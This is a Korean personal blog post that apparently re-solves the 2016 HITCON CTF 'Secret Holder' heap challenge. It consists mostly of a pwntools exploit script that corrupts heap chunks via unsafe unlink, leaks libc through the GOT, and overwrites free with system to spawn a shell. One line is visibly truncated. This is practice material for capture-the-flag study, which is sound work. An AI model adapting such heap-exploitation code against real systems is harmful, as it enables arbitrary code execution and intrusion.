HanJeouk의 개인공부 블로그

다른 문제들을 풀면서 내가 아직 청크를 컨트롤하는 부분이 많이 미흡하다고 생각했다. 그래서 전에 풀이를 보고 풀었던 Hitcon의 secret holder를 다시 풀어보았다. 물론 풀이를 안보고 풀었다. sleepy_holder까지 풀고 원래 풀던 문제를 다시 잡아야겠다. 처음 풀었던 글에 설명을 썼으니까 여기에는 익스코드만 올려야지 ㅎ.

전에 풀었던 것과 비교해봤는데 릭은 똑같이 했고 이번에는 공격을 free를 system으로 덮어서 풀었다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
= process("./SecretHolder")
elf = ELF("./SecretHolder")
def keep(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("3. Huge secret\n",str(size))
        p.sendafter("secret: \n",content)
 
def wipe(idx):
        p.sendafter("3. Renew secret\n","2")
        p.sendafter("3. Huge secret\n",str(idx))
 
def renew(idx,content):
        p.sendafter("3. Renew secret\n","3")
        p.sendafter("3. Huge secret\n",str(idx))
        p.sendafter("secret: \n",content)
 
keep(1,"A"*16)
keep(2,"B"*16)
keep(3,"C"*16)
 
wipe(3)
wipe(2)
wipe(1)
 
 
keep(3,"A"*16)
wipe(1)
 
keep(1,"a"*16)
keep(2,"b"*16)
 
renew(3,p64(0)+p64(0x21)+p64(0x6020b0-0x18)+p64(0x6020b0-0x10)+p64(0x20)+p64(0xfb0))
wipe(2)
keep(2,"c"*8)
renew(1,"A"*8+p64(0x6020a8))
renew(2,p64(elf.got["free"]))
renew(3,p64(elf.plt["puts"]))
 
renew(1,"a"*8+p64(elf.got["puts"]))
wipe(2)
puts = u64(p.recv(6)+"\x00"*2)
base = puts-0x6f690
system = base+0x45390
binsh = base+0x18cd57
one = base+0xf1145
#0xf1145 0xf02a4 0x4526a 0x45216
print "puts: " + hex(puts)
print "base: " + hex(base)
print "system: " + hex(system)
print "binsh: " + hex(binsh)
print "one_shot: " + hex(one)
 
renew(1,"a"*8+p64(binsh)+p64(elf.got["free"]))
renew(3,p64(system))
wipe(2)
p.interactive()
cs


'CTF' 카테고리의 다른 글

2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12
2014 Hack.lu CTF OREO  (0) 2018.03.06